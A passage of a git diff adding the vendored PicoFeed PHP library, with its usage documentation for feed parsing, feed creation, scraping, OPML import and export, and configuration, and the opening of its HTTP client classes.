+- Argument value: value in bytes (integer)
+
+```php
+$config->setMaxBodySize(10485760); // 10MB
+```
+
+### Proxy hostname
+
+- Method name: `setProxyHostname()`
+- Default value: empty
+- Argument value: string
+
+```php
+$config->setProxyHostname('proxy.example.org');
+```
+
+### Proxy port
+
+- Method name: `setProxyPort()`
+- Default value: 3128
+- Argument value: port number (integer)
+
+```php
+$config->getProxyPort(8118);
+```
+
+### Proxy username
+
+- Method name: `setProxyUsername()`
+- Default value: empty
+- Argument value: string
+
+```php
+$config->setProxyUsername('myuser');
+```
+
+### Proxy password
+
+- Method name: `setProxyPassword()`
+- Default value: empty
+- Argument value: string
+
+```php
+$config->setProxyPassword('mysecret');
+```
+
+Content grabber
+---------------
+
+### Connection timeout
+
+- Method name: `setGrabberTimeout()`
+- Default value: 10 seconds
+- Argument value: number of seconds (integer)
+
+```php
+$config->setGrabberTimeout(20); // 20 seconds
+```
+
+### User Agent
+
+- Method name: `setGrabberUserAgent()`
+- Default value: `PicoFeed (https://github.com/fguillot/picoFeed)`
+- Argument value: string
+
+```php
+$config->setGrabberUserAgent('My content scraper');
+```
+
+Parser
+------
+
+### Hash algorithm used for item id generation
+
+- Method name: `setParserHashAlgo()`
+- Default value: `crc32b`
+- Argument value: any value returned by the function `hash_algos()` (string)
+- See: http://php.net/hash_algos
+
+```php
+$config->setParserHashAlgo('sha1');
+```
+
+### Disable item content filtering
+
+- Method name: `setContentFiltering()`
+- Default value: true (filtering is enabled by default)
+- Argument value: boolean
+
+```php
+$config->setContentFiltering();
+```
+
+### Timezone
+
+- Method name: `setTimezone()`
+- Default value: UTC
+- Argument value: See https://php.net/manual/en/timezones.php (string)
+- Note: define the timezone for items/feeds
+
+```php
+$config->setTimezone('Europe/Paris');
+```
+
+Logging
+-------
+
+### Timezone
+
+- Method name: `setTimezone()`
+- Default value: UTC
+- Argument value: See https://php.net/manual/en/timezones.php (string)
+- Note: define the timezone for the logging class
+
+```php
+$config->setTimezone('Europe/Paris');
+```
+
+Filter
+------
+
+### Set the iframe whitelist (allowed iframe sources)
+
+- Method name: `setFilterIframeWhitelist()`
+- Default value: See the Filter class source code
+- Argument value: array
+
+```php
+$config->setFilterIframeWhitelist(['http://www.youtube.com', 'http://www.vimeo.com']);
+```
+
+### Define HTML integer attributes
+
+- Method name: `setFilterIntegerAttributes()`
+- Default value: See the Filter class source code
+- Argument value: array
+
+```php
+$config->setFilterIntegerAttributes(['width', 'height']);
+```
+
+### Add HTML attributes automatically
+
+- Method name: `setFilterAttributeOverrides()`
+- Default value: See the Filter class source code
+- Argument value: array
+
+```php
+$config->setFilterAttributeOverrides(['a' => ['target' => '_blank']);
+```
+
+### Set the list of required attributes for tags
+
+- Method name: `setFilterRequiredAttributes()`
+- Default value: See the Filter class source code
+- Argument value: array
+- Note: If the required attributes are not there, the tag is stripped
+
+```php
+$config->setFilterRequiredAttributes(['a' => 'href', 'img' => 'src']);
+```
+
+### Set the resource blacklist (Ads blocker)
+
+- Method name: `setFilterMediaBlacklist()`
+- Default value: See the Filter class source code
+- Argument value: array
+- Note: Tags are stripped if they have those URLs
+
+```php
+$config->setFilterMediaBlacklist(['feeds.feedburner.com', 'share.feedsportal.com']);
+```
+
+### Define which attributes are used for external resources
+
+- Method name: `setFilterMediaAttributes()`
+- Default value: See the Filter class source code
+- Argument value: array
+
+```php
+$config->setFilterMediaAttributes(['src', 'href']);
+```
+
+### Define the scheme whitelist
+
+- Method name: `setFilterSchemeWhitelist()`
+- Default value: See the Filter class source code
+- Argument value: array
+- See: http://en.wikipedia.org/wiki/URI_scheme
+
+```php
+$config->setFilterSchemeWhitelist(['http://', 'ftp://']);
+```
+
+### Define the tags and attributes whitelist
+
+- Method name: `setFilterWhitelistedTags()`
+- Default value: See the Filter class source code
+- Argument value: array
+- Note: Only those tags are allowed everything else is stripped
+
+```php
+$config->setFilterWhitelistedTags(['a' => ['href'], 'img' => ['src', 'title']]);
+```
diff --git a/vendor/fguillot/picofeed/docs/debugging.markdown b/vendor/fguillot/picofeed/docs/debugging.markdown
new file mode 100644
index 000000000..bbe1fd067
--- /dev/null
+++ b/vendor/fguillot/picofeed/docs/debugging.markdown
@@ -0,0 +1,46 @@
+Debugging
+=========
+
+Get log messages
+----------------
+
+PicoFeed log in memory the execution flow, if a feed doesn't work correctly it's easy to see what is wrong.
+
+```php
+print_r(PicoFeed\Logging::getMessages());
+```
+
+You will got an output like that:
+
+```php
+Array
+(
+ [0] => Fetch URL: http://petitcodeur.fr/feed.xml
+ [1] => Etag:
+ [2] => Last-Modified:
+ [3] => cURL total time: 0.711378
+ [4] => cURL dns lookup time: 0.001064
+ [5] => cURL connect time: 0.100733
+ [6] => cURL speed download: 74825
+ [7] => HTTP status code: 200
+ [8] => HTTP headers: Set-Cookie => start=R2701971637; path=/; expires=Sat, 06-Jul-2013 05:16:33 GMT
+ [9] => HTTP headers: Date => Sat, 06 Jul 2013 03:55:52 GMT
+ [10] => HTTP headers: Content-Type => application/xml
+ [11] => HTTP headers: Content-Length => 53229
+ [12] => HTTP headers: Connection => close
+ [13] => HTTP headers: Server => Apache
+ [14] => HTTP headers: Last-Modified => Tue, 02 Jul 2013 03:26:02 GMT
+ [15] => HTTP headers: ETag => "393e79c-cfed-4e07ee78b2680"
+ [16] => HTTP headers: Accept-Ranges => bytes
+ ....
+)
+```
+
+Remove messages
+---------------
+
+All messages are stored in memory, if you need to clear them just call the method `Logging::deleteMessages()`:
+
+```php
+PicoFeed\Logging::deleteMessages();
+```
diff --git a/vendor/fguillot/picofeed/docs/favicon.markdown b/vendor/fguillot/picofeed/docs/favicon.markdown
new file mode 100644
index 000000000..92ae11928
--- /dev/null
+++ b/vendor/fguillot/picofeed/docs/favicon.markdown
@@ -0,0 +1,56 @@
+Favicon fetcher
+===============
+
+Find and download the favicon
+-----------------------------
+
+```php
+
+use PicoFeed\Favicon;
+
+$favicon = new Favicon;
+
+// The icon link is https://bits.wikimedia.org/favicon/wikipedia.ico
+$icon_link = $favicon->find('https://en.wikipedia.org/');
+$icon_content = $favicon->getContent();
+
+```
+
+PicoFeed will try first to find the favicon from the meta tags and fallback to the `favicon.ico` located in the website's root if nothing is found.
+
+- `Favicon::find()` returns the favicon absolute url or an empty string if nothing is found.
+- `Favicon::getContent()` returns the favicon file content (binary content)
+
+When the HTML page is parsed, relative links and protocol relative links are converted to absolute url.
+
+Check if a favicon link exists
+------------------------------
+
+```php
+
+use PicoFeed\Favicon;
+
+$favicon = new Favicon;
+
+// Return true if the file exists
+var_dump($favicon->exists('http://php.net/favicon.ico'));
+
+```
+
+Use personalized HTTP settings
+------------------------------
+
+Like other classes, the Favicon class support the Config object as constructor argument:
+
+```php
+
+use PicoFeed\Config;
+use PicoFeed\Favicon;
+
+$config = new Config;
+$config->setClientUserAgent('My RSS Reader');
+
+$favicon = new Favicon($config);
+$favicon->find('https://github.com');
+
+``` \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/docs/feed-creation.markdown b/vendor/fguillot/picofeed/docs/feed-creation.markdown
new file mode 100644
index 000000000..24329f82c
--- /dev/null
+++ b/vendor/fguillot/picofeed/docs/feed-creation.markdown
@@ -0,0 +1,72 @@
+Feed creation
+=============
+
+Generate RSS 2.0 feed
+----------------------
+
+```php
+use PicoFeed\Writers\Rss20;
+
+$writer = new Rss20();
+$writer->title = 'My site';
+$writer->site_url = 'http://boo/';
+$writer->feed_url = 'http://boo/feed.atom';
+$writer->author = array(
+ 'name' => 'Me',
+ 'url' => 'http://me',
+ 'email' => 'me@here'
+);
+
+$writer->items[] = array(
+ 'title' => 'My article 1',
+ 'updated' => strtotime('-2 days'),
+ 'url' => 'http://foo/bar',
+ 'summary' => 'Super summary',
+ 'content' => '<p>content</p>'
+);
+
+$writer->items[] = array(
+ 'title' => 'My article 2',
+ 'updated' => strtotime('-1 day'),
+ 'url' => 'http://foo/bar2',
+ 'summary' => 'Super summary 2',
+ 'content' => '<p>content 2 &nbsp; &copy; 2015</p>',
+ 'author' => array(
+ 'name' => 'Me too',
+ )
+);
+
+$writer->items[] = array(
+ 'title' => 'My article 3',
+ 'url' => 'http://foo/bar3'
+);
+
+echo $writer->execute();
+```
+
+Generate Atom feed
+------------------
+
+```php
+use PicoFeed\Writers\Atom;
+
+$writer = new Atom();
+$writer->title = 'My site';
+$writer->site_url = 'http://boo/';
+$writer->feed_url = 'http://boo/feed.atom';
+$writer->author = array(
+ 'name' => 'Me',
+ 'url' => 'http://me',
+ 'email' => 'me@here'
+);
+
+$writer->items[] = array(
+ 'title' => 'My article 1',
+ 'updated' => strtotime('-2 days'),
+ 'url' => 'http://foo/bar',
+ 'summary' => 'Super summary',
+ 'content' => '<p>content</p>'
+);
+
+echo $writer->execute();
+```
diff --git a/vendor/fguillot/picofeed/docs/feed-parsing.markdown b/vendor/fguillot/picofeed/docs/feed-parsing.markdown
new file mode 100644
index 000000000..22f84339b
--- /dev/null
+++ b/vendor/fguillot/picofeed/docs/feed-parsing.markdown
@@ -0,0 +1,164 @@
+Feed parsing
+============
+
+Parsing a subscription
+----------------------
+
+```php
+use PicoFeed\Reader\Reader;
+use PicoFeed\PicoFeedException;
+
+try {
+
+ $reader = new Reader;
+
+ // Return a resource
+ $resource = $reader->download('https://linuxfr.org/news.atom');
+
+ // Return the right parser instance according to the feed format
+ $parser = $reader->getParser(
+ $resource->getUrl(),
+ $resource->getContent(),
+ $resource->getEncoding()
+ );
+
+ // Return a Feed object
+ $feed = $parser->execute();
+
+ // Print the feed properties with the magic method __toString()
+ echo $feed;
+}
+catch (PicoFeedException $e) {
+ // Do Something...
+}
+```
+
+- The Reader class is the entry point for feed reading
+- The method `download()` fetch the remote content and return a resource, an instance of `PicoFeed\Client\Client`
+- The method `getParser()` returns a Parser instance according to the feed format Atom, Rss 2.0...
+- The parser itself returns a `Feed` object that contains feed and item properties
+
+Output:
+
+```bash
+Feed::id = tag:linuxfr.org,2005:/news
+Feed::title = LinuxFr.org : les dépêches
+Feed::url = http://linuxfr.org/news
+Feed::date = 1415138079
+Feed::language = en-US
+Feed::description =
+Feed::logo =
+Feed::items = 15 items
+----
+Item::id = 38d8f48284fb03940cbb3aff9101089b81e44efb1281641bdd7c3e7e4bf3b0cd
+Item::title = openSUSE 13.2 : nouvelle version du caméléon disponible !
+Item::url = http://linuxfr.org/news/opensuse-13-2-nouvelle-version-du-cameleon-disponible
+Item::date = 1415122640
+Item::language = en-US
+Item::author = Syvolc
+Item::enclosure_url =
+Item::enclosure_type =
+Item::content = 18307 bytes
+----
+Item::id = d0ebddc90bfc3f109f9be00a3bb0b4a770af7a647cdc88454fe15d79168e0dea
+Item::title = Fuzix OS, parce que les petites choses sont belles
+Item::url = http://linuxfr.org/news/fuzix-os-parce-que-les-petites-choses-sont-belles
+Item::date = 1415112167
+Item::language = en-US
+Item::author = Thomas DEBESSE
+Item::enclosure_url =
+Item::enclosure_type =
+Item::content = 6104 bytes
+....
+```
+
+Get the list of available subscriptions for a website
+-----------------------------------------------------
+
+The example below will returns all available subscriptions for the website:
+
+```php
+use PicoFeed\Reader\Reader;
+
+try {
+
+ $reader = new Reader;
+ $resource = $reader->download('http://www.cnn.com');
+
+ $feeds = $reader->find(
+ $resource->getUrl(),
+ $resource->getContent()
+ );
+
+ print_r($feeds);
+}
+catch (PicoFeedException $e) {
+ // Do something...
+}
+```
+
+Output:
+
+```php
+Array
+(
+ [0] => http://rss.cnn.com/rss/cnn_topstories.rss
+ [1] => http://rss.cnn.com/rss/cnn_latest.rss
+)
+```
+
+Feed discovery and parsing
+--------------------------
+
+This example will discover automatically the subscription and parse the feed:
+
+```php
+try {
+
+ $reader = new Reader;
+ $resource = $reader->discover('http://linuxfr.org');
+
+ $parser = $reader->getParser(
+ $resource->getUrl(),
+ $resource->getContent(),
+ $resource->getEncoding()
+ );
+
+ $feed = $parser->execute();
+ echo $feed;
+}
+catch (PicoFeedException $e) {
+}
+```
+
+HTTP caching
+------------
+
+TODO
+
+
+Feed and item properties
+------------------------
+
+```php
+// Feed object
+$feed->getId(); // Unique feed id
+$feed->getTitle(); // Feed title
+$feed->getUrl(); // Website url
+$feed->getDate(); // Feed last updated date
+$feed->getLanguage(); // Feed language
+$feed->getDescription(); // Feed description
+$feed->getLogo(); // Feed logo (can be a large image, different from icon)
+$feed->getItems(); // List of item objects
+
+// Item object
+$feed->items[0]->getId(); // Item unique id (hash)
+$feed->items[0]->getTitle(); // Item title
+$feed->items[0]->getUrl(); // Item url
+$feed->items[0]->getDate(); // Item published date (timestamp)
+$feed->items[0]->getLanguage(); // Item language
+$feed->items[0]->getAuthor(); // Item author
+$feed->items[0]->getEnclosureUrl(); // Enclosure url
+$feed->items[0]->getEnclosureType(); // Enclosure mime-type (audio/mp3, image/png...)
+$feed->items[0]->getContent(); // Item content (filtered or raw)
+```
diff --git a/vendor/fguillot/picofeed/docs/grabber.markdown b/vendor/fguillot/picofeed/docs/grabber.markdown
new file mode 100644
index 000000000..6a7dd2ada
--- /dev/null
+++ b/vendor/fguillot/picofeed/docs/grabber.markdown
@@ -0,0 +1,97 @@
+Web scraper
+===========
+
+The web scraper is useful for feeds that display only a summary of articles, the scraper can download and parse the full content from the original website.
+
+How the content grabber works?
+------------------------------
+
+1. Try with rules first (xpath patterns) for the domain name (see `PicoFeed\Rules\`)
+2. Try to find the text content by using common attributes for class and id
+3. Finally, if nothing is found, the feed content is displayed
+
+**The best results are obtained with Xpath rules file.**
+
+How to use the content scraper?
+-------------------------------
+
+```php
+use PicoFeed\Reader;
+
+$reader = new Reader;
+$reader->download('http://www.egscomics.com/rss.php');
+
+$parser = $reader->getParser();
+
+if ($parser !== false) {
+
+ $parser->enableContentGrabber(); // <= Enable the content grabber
+ $feed = $parser->execute();
+ // ...
+}
+```
+
+When the content scraper is enabled, everything will be slower.
+For each item a new HTTP request is made and the HTML downloaded is parsed with XML/Xpath.
+
+Configuration
+-------------
+
+### Enable content grabber for items
+
+- Method name: `enableContentGrabber()`
+- Default value: false (content grabber is disabled by default)
+- Argument value: none
+
+```php
+$parser->enableContentGrabber();
+```
+
+### Ignore item urls for the content grabber
+
+- Method name: `setGrabberIgnoreUrls()`
+- Default value: empty (fetch all item urls)
+- Argument value: array (list of item urls to ignore)
+
+```php
+$parser->setGrabberIgnoreUrls(['http://foo', 'http://bar']);
+```
+
+How to write a grabber rules file?
+----------------------------------
+
+Add a PHP file to the directory `PicoFeed\Rules`, the filename must be the same as the domain name:
+
+Example with the BBC website, `www.bbc.co.uk.php`:
+
+```php
+<?php
+return array(
+ 'test_url' => 'http://www.bbc.co.uk/news/world-middle-east-23911833',
+ 'body' => array(
+ '//div[@class="story-body"]',
+ ),
+ 'strip' => array(
+ '//script',
+ '//form',
+ '//style',
+ '//*[@class="story-date"]',
+ '//*[@class="story-header"]',
+ '//*[@class="story-related"]',
+ '//*[contains(@class, "byline")]',
+ '//*[contains(@class, "story-feature")]',
+ '//*[@id="video-carousel-container"]',
+ '//*[@id="also-related-links"]',
+ '//*[contains(@class, "share") or contains(@class, "hidden") or contains(@class, "hyper")]',
+ )
+);
+```
+
+Actually, only `body`, `strip` and `test_url` are supported.
+
+Don't forget to send a pull request or a ticket to share your contribution with everybody,
+
+List of content grabber rules
+-----------------------------
+
+Rules are stored inside the directory [lib/PicoFeed/Rules](https://github.com/fguillot/picoFeed/tree/master/lib/PicoFeed/Rules)
diff --git a/vendor/fguillot/picofeed/docs/installation.markdown b/vendor/fguillot/picofeed/docs/installation.markdown
new file mode 100644
index 000000000..827908f75
--- /dev/null
+++ b/vendor/fguillot/picofeed/docs/installation.markdown
@@ -0,0 +1,65 @@
+Installation
+============
+
+Versions
+--------
+
+- Development version: branch master
+- Available versions:
+ - v0.1.0 (stable)
+ - v0.0.2
+ - v0.0.1
+
+Installation with Composer
+--------------------------
+
+Configure your `composer.json`:
+
+```json
+{
+ "require": {
+ "fguillot/picofeed": "0.1.0"
+ }
+}
+```
+
+Or simply:
+
+```bash
+composer require fguillot/picofeed:0.1.0
+```
+
+And download the code:
+
+```bash
+composer install # or update
+```
+
+Usage example with the Composer autoloading:
+
+```php
+<?php
+
+require 'vendor/autoload.php';
+
+use PicoFeed\Reader\Reader;
+
+try {
+
+ $reader = new Reader;
+ $resource = $reader->download('https://linuxfr.org/news.atom');
+
+ $parser = $reader->getParser(
+ $resource->getUrl(),
+ $resource->getContent(),
+ $resource->getEncoding()
+ );
+
+ $feed = $parser->execute();
+
+ echo $feed;
+}
+catch (Exception $e) {
+ // Do something...
+}
+```
diff --git a/vendor/fguillot/picofeed/docs/opml-export.markdown b/vendor/fguillot/picofeed/docs/opml-export.markdown
new file mode 100644
index 000000000..4d7cf8db0
--- /dev/null
+++ b/vendor/fguillot/picofeed/docs/opml-export.markdown
@@ -0,0 +1,46 @@
+OPML export
+===========
+
+Example with no categories
+--------------------------
+
+```php
+use PicoFeed\Export;
+
+$feeds = array(
+ array(
+ 'title' => 'Site title',
+ 'description' => 'Optional description',
+ 'site_url' => 'http://petitcodeur.fr/',
+ 'site_feed' => 'http://petitcodeur.fr/feed.xml'
+ )
+);
+
+$export = new Export($feeds);
+$opml = $export->execute();
+
+echo $opml; // XML content
+```
+
+Example with categories
+-----------------------
+
+```php
+use PicoFeed\Export;
+
+$feeds = array(
+ 'my category' => array(
+ array(
+ 'title' => 'Site title',
+ 'description' => 'Optional description',
+ 'site_url' => 'http://petitcodeur.fr/',
+ 'site_feed' => 'http://petitcodeur.fr/feed.xml'
+ )
+ )
+);
+
+$export = new Export($feeds);
+$opml = $export->execute();
+
+echo $opml; // XML content
+``` \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/docs/opml-import.markdown b/vendor/fguillot/picofeed/docs/opml-import.markdown
new file mode 100644
index 000000000..9f47b376a
--- /dev/null
+++ b/vendor/fguillot/picofeed/docs/opml-import.markdown
@@ -0,0 +1,19 @@
+Import OPML file
+================
+
+Importing a list of subscriptions is pretty straightforward:
+
+```php
+use PicoFeed\Import;
+
+$opml = file_get_contents('mySubscriptions.opml');
+$import = new Import($opml);
+$entries = $import->execute();
+
+if ($entries !== false) {
+ print_r($entries);
+}
+
+```
+
+The method `execute()` return `false` if there is a parsing error.
diff --git a/vendor/fguillot/picofeed/docs/tests.markdown b/vendor/fguillot/picofeed/docs/tests.markdown
new file mode 100644
index 000000000..72bb48b0f
--- /dev/null
+++ b/vendor/fguillot/picofeed/docs/tests.markdown
@@ -0,0 +1,14 @@
+Running unit tests
+==================
+
+If the autoloader is not yet installed run:
+
+```php
+composer dump-autoload
+```
+
+Then run:
+
+```php
+phpunit tests
+```
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Client/Client.php b/vendor/fguillot/picofeed/lib/PicoFeed/Client/Client.php
new file mode 100644
index 000000000..7328b2c75
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Client/Client.php
@@ -0,0 +1,540 @@
+<?php
+
+namespace PicoFeed\Client;
+
+use LogicException;
+use PicoFeed\Logging\Logging;
+
+/**
+ * Client class
+ *
+ * @author Frederic Guillot
+ * @package client
+ */
+abstract class Client
+{
+ /**
+ * Flag that say if the resource have been modified
+ *
+ * @access private
+ * @var bool
+ */
+ private $is_modified = true;
+
+ /**
+ * HTTP encoding
+ *
+ * @access private
+ * @var string
+ */
+ private $encoding = '';
+
+ /**
+ * HTTP Etag header
+ *
+ * @access protected
+ * @var string
+ */
+ protected $etag = '';
+
+ /**
+ * HTTP Last-Modified header
+ *
+ * @access protected
+ * @var string
+ */
+ protected $last_modified = '';
+
+ /**
+ * Proxy hostname
+ *
+ * @access protected
+ * @var string
+ */
+ protected $proxy_hostname = '';
+
+ /**
+ * Proxy port
+ *
+ * @access protected
+ * @var integer
+ */
+ protected $proxy_port = 3128;
+
+ /**
+ * Proxy username
+ *
+ * @access protected
+ * @var string
+ */
+ protected $proxy_username = '';
+
+ /**
+ * Proxy password
+ *
+ * @access protected
+ * @var string
+ */
+ protected $proxy_password = '';
+
+ /**
+ * Client connection timeout
+ *
+ * @access protected
+ * @var integer
+ */
+ protected $timeout = 10;
+
+ /**
+ * User-agent
+ *
+ * @access protected
+ * @var string
+ */
+ protected $user_agent = 'PicoFeed (https://github.com/fguillot/picoFeed)';
+
+ /**
+ * Real URL used (can be changed after a HTTP redirect)
+ *
+ * @access protected
+ * @var string
+ */
+ protected $url = '';
+
+ /**
+ * Page/Feed content
+ *
+ * @access protected
+ * @var string
+ */
+ protected $content = '';
+
+ /**
+ * Number maximum of HTTP redirections to avoid infinite loops
+ *
+ * @access protected
+ * @var integer
+ */
+ protected $max_redirects = 5;
+
+ /**
+ * Maximum size of the HTTP body response
+ *
+ * @access protected
+ * @var integer
+ */
+ protected $max_body_size = 2097152; // 2MB
+
+ /**
+ * Do the HTTP request
+ *
+ * @abstract
+ * @access public
+ * @return array
+ */
+ abstract public function doRequest();
+
+ /**
+ * Get client instance: curl or stream driver
+ *
+ * @static
+ * @access public
+ * @return \PicoFeed\Client\Client
+ */
+ public static function getInstance()
+ {
+ if (function_exists('curl_init')) {
+ return new Curl;
+ }
+ else if (ini_get('allow_url_fopen')) {
+ return new Stream;
+ }
+
+ throw new LogicException('You must have "allow_url_fopen=1" or curl extension installed');
+ }
+
+ /**
+ * Perform the HTTP request
+ *
+ * @access public
+ * @param string $url URL
+ * @return Client
+ */
+ public function execute($url = '')
+ {
+ if ($url !== '') {
+ $this->url = $url;
+ }
+
+ Logging::setMessage(get_called_class().' Fetch URL: '.$this->url);
+ Logging::setMessage(get_called_class().' Etag provided: '.$this->etag);
+ Logging::setMessage(get_called_class().' Last-Modified provided: '.$this->last_modified);
+
+ $response = $this->doRequest();
+
+ $this->handleNotModifiedResponse($response);
+ $this->handleNotFoundResponse($response);
+ $this->handleNormalResponse($response);
+
+ return $this;
+ }
+
+ /**
+ * Handle not modified response
+ *
+ * @access public
+ * @param array $response Client response
+ */
+ public function handleNotModifiedResponse(array $response)
+ {
+ if ($response['status'] == 304) {
+ $this->is_modified = false;
+ }
+ else if ($response['status'] == 200) {
+
+ $etag = $this->getHeader($response, 'ETag');
+ $last_modified = $this->getHeader($response, 'Last-Modified');
+
+ if ($this->isPropertyEquals('etag', $etag) || $this->isPropertyEquals('last_modified', $last_modified)) {
+ $this->is_modified = false;
+ }
+
+ $this->etag = $etag;
+ $this->last_modified = $last_modified;
+ }
+
+ if ($this->is_modified === false) {
+ Logging::setMessage(get_called_class().' Resource not modified');
+ }
+ }
+
+ /**
+ * Handle not found response
+ *
+ * @access public
+ * @param array $response Client response
+ */
+ public function handleNotFoundResponse(array $response)
+ {
+ if ($response['status'] == 404) {
+ throw new InvalidUrlException('Resource not found');
+ }
+ }
+
+ /**
+ * Handle normal response
+ *
+ * @access public
+ * @param array $response Client response
+ */
+ public function handleNormalResponse(array $response)
+ {
+ if ($response['status'] == 200) {
+ $this->content = $response['body'];
+ $this->encoding = $this->findCharset($response);
+ }
+ }
+
+ /**
+ * Check if a class property equals to a value
+ *
+ * @access public
+ * @param string $property Class property
+ * @param string $value Value
+ * @return boolean
+ */
+ private function isPropertyEquals($property, $value)
+ {
+ return $this->$property && $this->$property === $value;
+ }
+
+ /**
+ * Find charset from response headers
+ *
+ * @access public
+ * @param array $response Client response
+ */
+ public function findCharset(array $response)
+ {
+ $result = explode('charset=', strtolower($this->getHeader($response, 'Content-Type')));
+ return isset($result[1]) ? $result[1] : '';
+ }
+
+ /**
+ * Get header value from a client response
+ *
+ * @access public
+ * @param array $response Client response
+ * @param string $header Header name
+ * @return string
+ */
+ public function getHeader(array $response, $header)
+ {
+ return isset($response['headers'][$header]) ? $response['headers'][$header] : '';
+ }
+
+ /**
+ * Parse HTTP headers
+ *
+ * @access public
+ * @param array $lines List of headers
+ * @return array
+ */
+ public function parseHeaders(array $lines)
+ {
+ $status = 200;
+ $headers = array();
+
+ foreach ($lines as $line) {
+
+ if (strpos($line, 'HTTP') === 0) {
+ $status = (int) substr($line, 9, 3);
+ }
+ else if (strpos($line, ':') !== false) {
+
+ @list($name, $value) = explode(': ', $line);
+ if ($value) $headers[trim($name)] = trim($value);
+ }
+ }
+
+ Logging::setMessage(get_called_class().' HTTP status code: '.$status);
+
+ foreach ($headers as $name => $value) {
+ Logging::setMessage(get_called_class().' HTTP header: '.$name.' => '.$value);
+ }
+
+ return array($status, $headers);
+ }
+
+ /**
+ * Set the Last-Modified HTTP header
+ *
+ * @access public
+ * @param string $last_modified Header value
+ * @return \PicoFeed\Client\Client
+ */
+ public function setLastModified($last_modified)
+ {
+ $this->last_modified = $last_modified;
+ return $this;
+ }
+
+ /**
+ * Get the value of the Last-Modified HTTP header
+ *
+ * @access public
+ * @return string
+ */
+ public function getLastModified()
+ {
+ return $this->last_modified;
+ }
+
+ /**
+ * Set the value of the Etag HTTP header
+ *
+ * @access public
+ * @param string $etag Etag HTTP header value
+ * @return \PicoFeed\Client\Client
+ */
+ public function setEtag($etag)
+ {
+ $this->etag = $etag;
+ return $this;
+ }
+
+ /**
+ * Get the Etag HTTP header value
+ *
+ * @access public
+ * @return string
+ */
+ public function getEtag()
+ {
+ return $this->etag;
+ }
+
+ /**
+ * Get the final url value
+ *
+ * @access public
+ * @return string
+ */
+ public function getUrl()
+ {
+ return $this->url;
+ }
+
+ /**
+ * Set the url
+ *
+ * @access public
+ * @return string
+ * @return \PicoFeed\Client\Client
+ */
+ public function setUrl($url)
+ {
+ $this->url = $url;
+ return $this;
+ }
+
+ /**
+ * Get the body of the HTTP response
+ *
+ * @access public
+ * @return string
+ */
+ public function getContent()
+ {
+ return $this->content;
+ }
+
+ /**
+ * Get the encoding value from HTTP headers
+ *
+ * @access public
+ * @return string
+ */
+ public function getEncoding()
+ {
+ return $this->encoding;
+ }
+
+ /**
+ * Return true if the remote resource has changed
+ *
+ * @access public
+ * @return bool
+ */
+ public function isModified()
+ {
+ return $this->is_modified;
+ }
+
+ /**
+ * Set connection timeout
+ *
+ * @access public
+ * @param integer $timeout Connection timeout
+ * @return \PicoFeed\Client\Client
+ */
+ public function setTimeout($timeout)
+ {
+ $this->timeout = $timeout ?: $this->timeout;
+ return $this;
+ }
+
+ /**
+ * Set a custom user agent
+ *
+ * @access public
+ * @param string $user_agent User Agent
+ * @return \PicoFeed\Client\Client
+ */
+ public function setUserAgent($user_agent)
+ {
+ $this->user_agent = $user_agent ?: $this->user_agent;
+ return $this;
+ }
+
+ /**
+ * Set the mximum number of HTTP redirections
+ *
+ * @access public
+ * @param integer $max Maximum
+ * @return \PicoFeed\Client\Client
+ */
+ public function setMaxRedirections($max)
+ {
+ $this->max_redirects = $max ?: $this->max_redirects;
+ return $this;
+ }
+
+ /**
+ * Set the maximum size of the HTTP body
+ *
+ * @access public
+ * @param integer $max Maximum
+ * @return \PicoFeed\Client\Client
+ */
+ public function setMaxBodySize($max)
+ {
+ $this->max_body_size = $max ?: $this->max_body_size;
+ return $this;
+ }
+
+ /**
+ * Set the proxy hostname
+ *
+ * @access public
+ * @param string $hostname Proxy hostname
+ * @return \PicoFeed\Client\Client
+ */
+ public function setProxyHostname($hostname)
+ {
+ $this->proxy_hostname = $hostname ?: $this->proxy_hostname;
+ return $this;
+ }
+
+ /**
+ * Set the proxy port
+ *
+ * @access public
+ * @param integer $port Proxy port
+ * @return \PicoFeed\Client\Client
+ */
+ public function setProxyPort($port)
+ {
+ $this->proxy_port = $port ?: $this->proxy_port;
+ return $this;
+ }
+
+ /**
+ * Set the proxy username
+ *
+ * @access public
+ * @param string $username Proxy username
+ * @return \PicoFeed\Client\Client
+ */
+ public function setProxyUsername($username)
+ {
+ $this->proxy_username = $username ?: $this->proxy_username;
+ return $this;
+ }
+
+ /**
+ * Set the proxy password
+ *
+ * @access public
+ * @param string $password Password
+ * @return \PicoFeed\Client\Client
+ */
+ public function setProxyPassword($password)
+ {
+ $this->proxy_password = $password ?: $this->proxy_password;
+ return $this;
+ }
+
+ /**
+ * Set config object
+ *
+ * @access public
+ * @param \PicoFeed\Config\Config $config Config instance
+ * @return \PicoFeed\Config\Config
+ */
+ public function setConfig($config)
+ {
+ if ($config !== null) {
+ $this->setTimeout($config->getGrabberTimeout());
+ $this->setUserAgent($config->getGrabberUserAgent());
+ $this->setMaxRedirections($config->getMaxRedirections());
+ $this->setMaxBodySize($config->getMaxBodySize());
+ $this->setProxyHostname($config->getProxyHostname());
+ $this->setProxyPort($config->getProxyPort());
+ $this->setProxyUsername($config->getProxyUsername());
+ $this->setProxyPassword($config->getProxyPassword());
+ }
+
+ return $this;
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Client/ClientException.php b/vendor/fguillot/picofeed/lib/PicoFeed/Client/ClientException.php
new file mode 100644
index 000000000..0e27452ed
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Client/ClientException.php
@@ -0,0 +1,16 @@
+<?php
+
+namespace PicoFeed\Client;
+
+use PicoFeed\PicoFeedException;
+
+
+/**
+ * ClientException Exception
+ *
+ * @author Frederic Guillot
+ * @package Client
+ */
+abstract class ClientException extends PicoFeedException
+{
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Client/Curl.php b/vendor/fguillot/picofeed/lib/PicoFeed/Client/Curl.php
new file mode 100644
index 000000000..9cf3eb6f4
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Client/Curl.php
@@ -0,0 +1,324 @@
+<?php
+
+namespace PicoFeed\Client;
+
+use PicoFeed\Logging\Logging;
+
+/**
+ * cURL HTTP client
+ *
+ * @author Frederic Guillot
+ * @package Client
+ */
+class Curl extends Client
+{
+ /**
+ * HTTP response body
+ *
+ * @access private
+ * @var string
+ */
+ private $body = '';
+
+ /**
+ * Body size
+ *
+ * @access private
